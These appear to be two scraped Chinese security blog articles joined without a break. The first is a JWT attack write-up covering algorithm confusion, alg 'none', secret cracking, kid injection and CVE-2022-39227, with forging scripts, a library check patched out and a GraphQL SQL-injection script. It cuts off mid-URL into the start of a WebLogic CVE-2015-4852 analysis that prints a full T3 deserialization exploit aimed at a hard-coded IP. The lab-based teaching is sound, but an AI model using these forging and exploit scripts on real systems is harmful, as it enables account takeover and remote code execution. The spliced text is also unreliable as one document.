随便输入账号密码,登录后发现界面如下 查看此时的JWT 想到题目中说头部和载荷可能会有敏感泄露,将值取出分别进行Base64URL解码 两处拼接一下,得到ctfhub{bb89d985db8cea6a2f2d34cb} 算法修改攻击 首先来简述一下JWT中两个常用的加密算法 HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。 从上面不难看出,HS256自始至终只有一个密钥,而RS256是有两个密钥的。在通常情况下,HS256的密钥我们是不能取到的,RS256的密钥也是很难获得的,RS256的的公钥相对较容易获取,但无论是HS256加密还是RS256加密,都是无法实现伪造JWT的,但当我们修改RSA256算法为HS256算法时,后端代码会使用公钥作为密钥,然后用HS256算法验证签名,如果我们此时有公钥,那么此时我们就可与实现JWT的伪造。 靶场演示 题目链接https://www.ctfhub.com/#/skilltree 题目描述 有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。 进入环境后发现题目代码 class JWTHelper {  public static function encode($payload=array(), $key='', $alg='HS256') {    return JWT::encode($payload, $key, $alg); }  public static function decode($token, $key, $alg='HS256') {    try{            $header = JWTHelper::getHeader($token);            $algs = array_merge(array($header->alg, $alg));      return JWT::decode($token, $key, $algs);   } catch(Exception $e){      return false;   }   }    public static function getHeader($jwt) {        $tks = explode('.', $jwt);        list($headb64, $bodyb64, $cryptob64) = $tks;        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));        return $header;   } } $FLAG = getenv("FLAG"); $PRIVATE_KEY = file_get_contents("/privatekey.pem"); $PUBLIC_KEY = file_get_contents("./publickey.pem"); if ($_SERVER['REQUEST_METHOD'] === 'POST') {    if (!empty($_POST['username']) && !empty($_POST['password'])) {        $token = "";        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){            $jwt_payload = array(                'username' => $_POST['username'],                'role'=> 'admin',           );            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');       } else {            $jwt_payload = array(                'username' => $_POST['username'],                'role'=> 'guest',           );            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');       }        @setcookie("token", $token, time()+1800);        header("Location: /index.php");        exit();   } else {        @setcookie("token", "");        header("Location: /index.php");        exit();   } } else {    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);        if ($obj->role === 'admin') {            echo $FLAG;       }   } else {        show_source(__FILE__);   } } ?> 简单的看一下,大致意思就是当以用户名为admin,密码不是$flag时,此时登录后JWT中payload的role是guest,而只有当role为admin时才能够得到Flag,所以我们这里肯定是需要伪造JWT的,我们先以admin为用户名,随便输入密码登录一下此时得到JWT,将其拿去解密网站https://jwt.io解密一下 发现加密方式是RS256非对称加密,想到在登录时,下方给出了公钥 所以这里就可以尝试更改算法为HS256,以公钥作为密钥来进行签名和验证,因此我们构造一个伪造JWT的脚本,内容如下 import jwt import base64 public ="""-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO 3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roA kbI1GMta9zAdD1yPtp//JNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvW q5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBU Xhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd/rg1w8we9ysNcTjAeUayRGPuQmX UWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzl awIDAQAB -----END PUBLIC KEY----- """ payload={ "username": "admin","role": "admin"} print(jwt.encode(payload, key=public, algorithm='HS256')) 此时运行完后发现报错 这个是因为源代码中进行了校验,我们简单设置一下即可,源代码文件地址如下 /usr/lib/python3/dist-packages/jwt/algorithms.py 我们在它的校验前面增加这样一句话 invalid_strings=[] 此时保存退出,再运行文件即可得到新JWT 将新的JWT拿到网站中替换旧的JWT,刷新网站即可得到flag 未验证签名 当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制,此时就造成了越权漏洞的出现。假设现有payload如下 {  "iat": 1668871293,  "exp": 1668878493,  "nbf": 1668871293,  "sub": "quan9i", } 这里的quan9i是普通用户,按理说的话它是无法访问到管理员的界面的,但由于这里的签名是没有验证的,当我们修改payload时,这个JWT仍然有效,所以我们修改payload如下 {  "iat": 1668871293,  "exp": 1668878493,  "nbf": 1668871293,  "sub": "admin", } 此时就垂直越权,变成了管理员用户,可以访问管理员的界面。 靶场演示 题目环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature题目描述 本实验使用基于 JWT 的机制来处理会话。由于实施缺陷,服务器不会验证它收到的任何 JWT 的签名。 题目要求 要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 打开环境后发现Cookie中没什么东西,但想到题目给出了账号,那就先找登录点,发现有个My account 点击查看,发现是登录界面,将刚刚题目条件中所给的用户名和密码放入 此时查看cookie 具体内容为 eyJraWQiOiIxYmE5NjA0Ny0wNjBiLTQ0MTAtODg1NC01YWYxYTQ2ZTljYWEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTI5NzgxMH0.JMb3Ttl7WLoVrTfcEq03VIafh7zDMu5_nhMtPc3qnhgENSl1WbMAMFfeTa-v0jS69A13W-J3_ccslHu25OW_SRPAq2GuAUoFfEGtthnP-PaDWFN2_UIIcaeAx8rj8bNy65apX37EnTx-sPo274X 对第一个.后和第二个.之前的内容进行解码(此部分内容为有效载荷)得到 {"iss":"portswigger","sub":"wiener","exp":1669297810} 题目提示了这里不校验签名,所以我们修改payload如下 {"iss":"portswigger","sub":"administrator","exp":1669297810} 再对其进行Base64URL编码,替换掉原来的payload,此时就得到了新的JWT,将新的JWT放入session中,重新访问此界面,发现多了一个功能点 发现可以删除用户 任务完成。 空加密算法 这里需要先介绍一些利用的知识点 将signature置空。利用node的jsonwentoken库已知缺陷:当jwt的signature为null或undefined时,jsonwebtoken会采用algorithm为none进行验证 JWT支持使用空加密算法,可以在header中指定alg为none,此时只要把signature设置为空,提交到服务器,任何token都可以通过服务器的验证。 假设现有JWT(解码后的,无signature的)如下 {    "alg" : "Hs256",    "typ" : "jwt" } {    "user" : "quan9i" } 这里我们指定alg为None,修改Payload中的user为admin,如下所示 {    "alg" : "None",    "typ" : "jwt" } {    "user" : "admin" } 此时再进行Base64URL编码,就可以实现越权,得到管理员才可以访问的界面。 靶场演示 靶场环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification题目描述 本实验使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。 题目要求 要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 进入环境后先去登录 得到JWT,题目提示了接受未签名的JWT,所以将第二个点后的内容直接删除,而后再对前面内容进行Base64解码 {"kid":"16adc077-c753-4bbe-a9df-46688c01ac46","alg":"RS256"}.{"iss":"portswigger","sub":"wiener","exp":1669304815}. 修改headers中的alg为none,修改payload中的sub为administrator,然后分别进行Base64URL编码,即可得到新的JWT,在网站中对JWT进行替换,接下来再次访问此网站,发现新功能点。 点进去发现有删除用户的功能 任务完成。 爆破密钥 这个的话其实就是使用工具来对密钥进行爆破,从而实现越权。这个的话在参考过其他师傅的文章后发现是有一些条件的,具体如下所示 1、JWT使用的加密算法是HS256加密算法 2、一段有效的、已签名的token 3、签名用的密钥不复杂(弱密钥) 然后这里还需要介绍一下爆破密钥用的工具,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式如下所示 1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载 2、make #编译 使用方式如下 ./jwtcrack JWT 这是一个,还有一个爆破工具,可以引用字典,链接如下https://github.com/Sjord/jwtcrack安装方式如下所示 1、git clone https://github.com/Sjord/jwtcrack 2、pip install PyJWT tqdm 它的使用方式如下 python3 crackjwt.py JWT dictionary.txt //字典文件是自己写入的 靶场演示 题目描述 本实验使用基于 JWT 的机制来处理会话。它使用极弱的密钥来签署和验证令牌。这可以很容易地使用一个包含常见secret的单词表来暴力破解。 题目要求 要解决实验室问题,请首先暴力破解网站的密钥。获得此后,使用它签署修改后的会话令牌,使您可以访问管理面板/admin,然后删除用户carlos 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 进入环境后,依旧是先登录获取当前JWT 因为题目已经提示了这里用的是暴力破解,所以我们用刚刚提到的工具,来爆破一下密钥 ./jwtcrack eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE 这里爆破多次均未得到密钥,所以我们选择换另一个工具,自己找个字典来进行爆破字典链接https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list接下来使用工具指定字典来进行爆破 python3 crackjwt.py  eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE dictionary.txt 得到密钥为secret1进入解码网站https://jwt.io,对jwt进行解码 修改payload中的sub为administrator,再在下方写入密钥secret1,生成新JWT 拿到网站中替换原JWT,发现新功能点 访问后发现可以删除用户 任务完成。 Kid参数注入 前文在简述Headers提到,它还有一个可选参数kid,当Headers中存在这个参数时,我们可以通过修改这个参数实现目录遍历、SQL注入等攻击 #目录遍历 {    "kid" : "/etc/passwd" } Kid参数的逻辑是类似于sql="select * from table where kid=$kid"这种,所以它是存在SQL注入漏洞的,示例如下 #sql注入 {    "kid" : "0 union select 123" } 此时它的Kid就被我们恶意篡改为123,此时就相当于拿到了Key,可以伪造JWT,实现越权。 靶场演示 靶场地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal题目描述 本实验使用基于 JWT 的机制来处理会话。为了验证签名,服务器使用JWTkid标头中的参数从其文件系统中获取相关密钥 题目要求 要解决实验室问题,请伪造一个 JWT,使您可以访问管理面板/admin,然后删除用户carlos。 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 进入环境后,登录获取JWT安装插件 安装后选择New Symmetric Key,生成一个Key 接下来修改K参数为AA==,点击确认抓靶场的包 点击下面的sign 将此时的JWT去替换网站的JWT,再刷新网站 成功越权 简单说一下这里的原理:这里其实就是利用了kid的目录遍历攻击,我们将kid参数指向标准文件/dev/null,此时我们再利用bp的工具设置一个空的签名密钥,就实现了越权,成功得到管理员权限。 同时,这个Kid是Headers的一部分,Headers其实还有两个不常用的参数,即Jwk和Jku,这两个的话也是存在漏洞的,他们的攻击方式同Kid是较为相似的,所以这里不再去演示如何攻击。靶场环境如下,有兴趣的师傅可以看看。https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injectionhttps://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-inject JWT攻击实例 CVE-2022-39227 这个的话并没有给出具体的POC,但是官方在commit中最下方给出了测试代码https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9#diff-f3fb6499354e6fd16cb955d1f54138fa3481148f3f095467958b60b3835f3a50具体代码如下所示 """ Test claim forgery vulnerability fix """ from datetime import timedelta from json import loads, dumps from test.common import generated_keys from test import python_jwt as jwt from pyvows import Vows, expect from jwcrypto.common import base64url_decode, base64url_encode @Vows.batch class ForgedClaims(Vows.Context):    """ Check we get an error when payload is forged using mix of compact and JSON formats """    def topic(self):        """ Generate token """        payload = {'sub': 'alice'}        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))    class PolyglotToken(Vows.Context):        """ Make a forged token """        def topic(self, topic):            """ Use mix of JSON and compact format to insert forged claims including long expiration """           [header, payload, signature] = topic.split('.')            parsed_payload = loads(base64url_decode(payload))            parsed_payload['sub'] = 'bob'            parsed_payload['exp'] = 2000000000            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))            return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'        class Verify(Vows.Context):            """ Check the forged token fails to verify """            @Vows.capture_error            def topic(self, topic):                """ Verify the forged token """                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])            def token_should_not_verify(self, r):                """ Check the token doesn't verify due to mixed format being detected """                expect(r).to_be_an_error()                expect(str(r)).to_equal('invalid JWT format') 重点在中间部分,也就是这里 def topic(self, topic):            """ Use mix of JSON and compact format to insert forged claims including long expiration """           [header, payload, signature] = topic.split('.')            parsed_payload = loads(base64url_decode(payload))            parsed_payload['sub'] = 'bob'            parsed_payload['exp'] = 2000000000            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))            return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' 可以看到这里的话首先是对JWT进行了拆分,我们知道JWT的格式是xxx.yyy.zzz,这个以.来分离,那就是把三部分拆分开来,分别赋值给了header、payload和signature,接下来将进行了base64URL以及json解码的payload赋值给了parsed_payload,而后将新内容sub=bob以及exp=2000000000放入了parsed_payload中,将进行过Base64编码和json编码的parsed_payload赋值给了fake_payload,最终生成的JWT格式如下 {" header.fake_payload.":"","protected":"header", "payload":"payload","signature":"signature"} 此时就完成了JWT的伪造。 那么这个漏洞是如何产生的呢?接下来我们看一下源文件。查看python_jwt/__init__.py文件 首先看到 header, claims, _ = jwt.split('.'),它按.进行拆分,如何分别将三部分赋值给headers,claims以及_。接下来就是对头部进行解码,而后检验头部算法,后面也是校验属性的,接下来走到JWS这里 if pub_key: #验证是否传入密钥     token = JWS()     token.allowed_algs = allowed_algs     token.deserialize(jwt, pub_key) # 传入整个用户的JWT,JWS对JWT进行反序列化处理     parsed_claims = json_decode(token.payload) # JWS对传入部分进行json解码 跟进反序列化,看它是怎么做的 这里的话就是首先尝试对传入的JWT进行解析,我们知道这里传入的是完整的原始JWT,而非拆分后的某个部分,JWT的格式是xxx.yyy.zzz这种,而json能解析的是{"a":1,"b":2,"c":3,"d":4,"e":5}这种格式的,所以它无疑会走向except ValueError这里,然后它对值进行拆分,分别赋给protected、payload和signature,然后就将o赋值给了self.objects,这里的话还有一个verify(key,alg)函数,我们跟进一下 这里可以看到它其实是对JWT的各部分内容进行了一个检验,它这里检验的是原来的完整的JWT,所以这个肯定是没有问题的,这个验证肯定是可以通过的。 我们此时回到__init__.py 发现这里在校验过后,后面都没有再用到token这个,后面是对header和claims中的一些参数进行校验,然后将parsed_header和parsed_claims值返回了。这里就是问题所在, 在对整个JWT进行校验过后,没有返回校验过的数据,而是返回一开始进行点分过后的数据。 我们的恶意payload如下所示 此时拆分后他一直在校验的是后面的灰色部分,这部分是原始的JWT,校验肯定是可以通过的,而我们最终返回的数据是前面的forged_payload,所以无论前面怎么添加,怎么替换,校验都是可以通过的。此时你再去看官方给出的测试代码就可以理解它的思路了。 CTF实战 CTFshow系列 Web345 打开靶场,进入环境 看一下源代码 提示了admin界面,先记着。同时刚刚发现cookie含有JWT,放入网站https://jwt.io/中查看一下 加密方式为空加密,所以这里的话,我们base64解码一下,然后直接修改sub为admin,再进行base64编码,放入cookie中即可,接下来访问admin界面 web346 这里进入环境后,接下来进入靶场,看一下JWT,用解密网站解密一下 发现有了加密格式,然后这里存在一种漏洞就是可以把加密方式换成空加密来绕过,但是这个网站是不能直接修改的,我们这里可以借助python脚本实现,脚本如下所示 import time import jwt # payload token_dict={  "iss": "admin",  "iat": 1668871293,  "exp": 1668878493,  "nbf": 1668871293,  "sub": "admin",  "jti": "9892b9d99098ba229891bedcfa856b61" } # headers headers = {  "alg": "none",  "typ": "JWT" } jwt_token = jwt.encode(token_dict,  # payload, 有效载体 key='',                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)   algorithm="none",  # 指明签名算法方式, 默认也是HS256                       )  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str print(jwt_token) 注:这里安装jwt模块的时候,安装的模块是PyJWT模块,同时不要给脚本名字命名为jwt.py,否则运行脚本时就会发生报错。 接下来运行脚本 得到JWT eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODg3MTI5MywiZXhwIjoxNjY4ODc4NDkzLCJuYmYiOjE2Njg4NzEyOTMsInN1YiI6ImFkbWluIiwianRpIjoiOTg5MmI5ZDk5MDk4YmEyMjk4OTFiZWRjZmE4NTZiNjEifQ. 去靶场中替换一下,同时访问admin界面 Web347 提示弱口令,这里应该说的是密钥,先记着进入环境后找到JWT去对应网站解码 HS256加密方式,我们这里的话需要猜解一下密钥,然后修改才有效,既然提示了弱口令,那就可以试试123456这种,修改sub为admin,得到新JWT后去靶场中修改JWT,然后访问admin界面 Web348 题目提示爆破,这里就需要先介绍一个爆破工具了,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式也很简单 1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载 2、make #编译 3、./jwtcrack JWT #使用 这里将靶场中的JWT放入其中 爆破出密钥为aaab,接下来方法就同上,在解码网站中,修改sub为admin,同时添加密钥为aaab,然后拿着得到的新JWT,去替换网站的JWT,再去访问admin界面即可。 Web349 题目给了一个附件,内容如下 /* GET home page. */ router.get('/', function(req, res, next) {  res.type('html');  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });  res.cookie('auth',token);  res.end('where is flag?');   }); router.post('/',function(req,res,next){ var flag="flag_here"; res.type('html'); var auth = req.cookies.auth; var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key jwt.verify(auth, cert, function(err, decoded) {  if(decoded.user==='admin'){ res.end(flag); }else{ res.end('you are not admin'); } }); }); 这里发现可以获取公钥和私钥,RSA是用私钥加密,公钥解密,那么我们这里有私钥了,就可以自己写内容,然后用私钥加密,接下来用公钥解密就是我们伪造的内容,所以接下来访问url /private.key获取私钥,然后写个小脚本即可 import jwt public = open('private.key', 'r').read() payload={"user":"admin"} print(jwt.encode(payload, key=public, algorithm='RS256')) 接下来替换JWT,然后post访问 web350 题目给了附件,在里面发现公钥 这里的话应该考察的就是算法修改攻击,然后我们这里修改算法为HS256,而后用公钥加密,脚本如下 const jwt = require('jsonwebtoken'); var fs = require('fs'); var privateKey = fs.readFileSync('public.key'); var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' }); console.log(token) 运行脚本需要安装jsonwebtoken库 得到JWT后替换一下,然后post发包即可获取flag [祥云杯2022]FunWeb 注:因为这道题没有复现环境了,所以我这里的部分图片是来源于网上,参考的是X1r0z大师傅的https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#funweb%E5%A4%8D%E7%8E%B0 进入环境后是个注册界面,接下来随便注册账号后进行登录 发现上方是有两个功能点的 抓获取成绩包后发现这里提示no admin同时发现JWT,想到这里可能需要伪造JWT,JWT最近新出的漏洞是CVE-2022-39227。那么我们就可以尝试用这个漏洞来进行伪造JWT,伪造JWT脚本如下所示 from datetime import timedelta from json import loads, dumps from jwcrypto.common import base64url_decode, base64url_encode def topic(topic):    """ Use mix of JSON and compact format to insert forged claims including long expiration """   [header, payload, signature] = topic.split('.')#点分    parsed_payload = loads(base64url_decode(payload))#解码    parsed_payload['is_admin'] = 1#伪造    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))#编码    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'#生成恶意载荷 token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsn print(token) 接下来想到我们抓的包的文件名是graphql,而且还有POST参数,可能存在graphql注入。https://www.leavesongs.com/content/files/slides/%E6%94%BB%E5%87%BBGraphQL.pdf而后使用 getscoreusingnamehahaha方法查询表结构。 {"query": """{ getscoreusingnamehahaha(name: "null' union select group_concat(sql) FROM sqlite_master; --"){ score name } }"""} 返回结果如下 CREATE TABLE users(   ID INTEGER PRIMARY KEY,   NAME TEXT NOT NULL,     PASSWORD TEXT NOT NULL,   SCORE TEXT NOT Null   ) 因此可以用这个来查询admin用户成绩,构造最终payload如下。 import json from jwcrypto.common import base64url_decode, base64url_encode import httpx session = httpx.Client(base_url="http://xxx.com/") session.post("/signin", json={    "username": "test",    "password": "111"   } ) _ = session.cookies.get("token") [header, payload, signature] = _.split('.') parsed_payload = json.loads(base64url_decode(payload)) parsed_payload['is_admin'] = 1 fake_payload = base64url_encode((json.dumps(parsed_payload, separators=(',', ':')))) forged_jwt = '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' session.cookies.delete("token") session.cookies.set("token", forged_jwt) data = {"query": """{ getscoreusingnamehahaha(name: "null' union select password FROM users WHERE name='admin'; --"){ score name } }"""} response = session.post("/graphql", data=data) print(response.text) 得到密码后去登录即可得到flag [CISCN2019 华北赛区 Day1 Web2]ikun 进入后发现有登录和注册界面,常规操作先注册后登录 提示要买到lv6,下划后发现可以买等级 这里没有lv6,点击下一页看看仍然没有找到lv6,但发现参数是GET型传参 这意味着我们可以写个小脚本来查找lv6所在位置发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png 脚本如下 import time import requests url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page=" for i in range(1,300):    res = requests.get(url+str(i))    time.sleep(0.5)    if "lv6.png" in res.text:        print(i)        break 181页,找到后发现价格是天价,买不起 这里抓包看一下 发现可以修改折扣,把这个discount修改为0.00000000000001然后发包 跳转到了另一个界面但无权限访问再抓包 发现JWT,解码一下(解码网站https://jwt.io/) 我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下https://github.com/brendan-rius/c-jwt-cracker破解后得到密钥为1Kun 抓包,将得到的值赋给JWT,再发包接下来就是读取源码,然后进行Python反序列化获取最终flag,这里不再演示。 后言 JWT的靶场有很多个,我这里也只是利用了CTFhub和portswig等来进行演示,还有一些靶场例如https://jwt-lab.herokuapp.com/challenges也是比较好的,但鉴于考察点相似,这里不再演示,有兴趣的师傅可以自行尝试。然后还有就是这里的CVE漏洞的分析我主要参考了我们战队lemon大师傅的讲解,大家也可以看一下哇,视频链接如下https://www.bilibili.com/video/BV15d4y1F7i3/?spm_id_from=333.337.search-card.all.click&vd_source=414113f33a1cd681c43e79
CVE-2015-4852 Weblogic T3 反序列化分析
0x01 前言 看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞,最近正好有一些闲暇时间,可以看一看。 因为环境上总是有一些小问题,所以会在本地和云服务器切换着调试。 0x02 环境搭建 太坑了,我的建议是用本地搭建的方法,因为用 docker 搭建,会产生依赖包缺失的问题,本地搭建指南 https://www.penson.top/article/av40 这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦 链接:https://github.com/QAX-A-Team/WeblogicEnvironment 下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中 JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html 我这里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到文件夹里面,如图 首先要先改写一下 Dockerfile,原作者写的 Dockerfile 有一点小问题 # 基础镜像 FROM centos:centos7 # 参数 ARG JDK_PKG ARG WEBLOGIC_JAR # 解决libnsl包丢失的问题 # RUN yum -y install libnsl # 创建用户 RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle # 创建需要的文件夹和环境变量 RUN mkdir -p /install && mkdir -p /scripts ENV JDK_PKG=$JDK_PKG ENV WEBLOGIC_JAR=$WEBLOGIC_JAR # 复制脚本 COPY scripts/jdk_install.sh /scripts/jdk_install.sh COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh COPY jdks/$JDK_PKG . COPY weblogics/$WEBLOGIC_JAR . # 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本 RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scr # 脚本设置权限及运行 RUN chmod +x /scripts/jdk_install.sh RUN chmod +x /scripts/weblogic_install.sh RUN chmod +x /scripts/create_domain.sh RUN chmod +x /scripts/open_debug_mode.sh # 安装JDK RUN /scripts/jdk_install.sh # 安装weblogic RUN /scripts/weblogic_install.sh # 创建Weblogic Domain RUN /scripts/create_domain.sh # 打开Debug模式 RUN /scripts/open_debug_mode.sh # 启动 Weblogic Server # CMD ["tail","-f","/dev/null"] CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"] EXPOSE 7001 接着起环境 docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 再把 docker 当中的一些依赖文件夹拷出来,但是这一步经过我测试,感觉 docker 当中的 lib 存在一定问题,所以后续把 weblogic 的库拿进来就可以了,对应的代码我会放在 GitHub 上,避免师傅们踩坑。 0x03 基础知识 关于 Weblogic 首先说一说 Weblogic 吧,Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。 和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多东西,要知道,在 Tomcat 当中,这些都是需要自己写代码的。 T3 协议 T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。 在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。 我们可以拿 CVE-2015-4852 的 EXP 来讲解 EXP 如下 import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command):    JAR_FILE = '.\ysoserial.jar'    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)    return popen.stdout.read() def get_payload2(path):    with open(path, "rb") as f:        return f.read() def exp(host, port, payload):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect((host, port))    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()    sock.sendall(handshake)    data = sock.recv(1024)    pattern = re.compile(r"HELO:(.*).false")    version = re.findall(pattern, data.decode())    if len(version) == 0:        print("Not Weblogic")        return    print("Weblogic {}".format(version[0]))    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志    payload = data_len + t3header + flag + payload    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度    sock.send(payload) if __name__ == "__main__":    host = "81.68.120.14"    port = 7001    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21    command = "Calc"    payload = get_payload1(gadget, command)    exp(host, port, payload) 这里有一个小坑,我直接运行 py 程序是不行的,会回显 Not Weblogic,因为 python socket 如果是频繁发包,会被服务端所拒绝,所以需要以 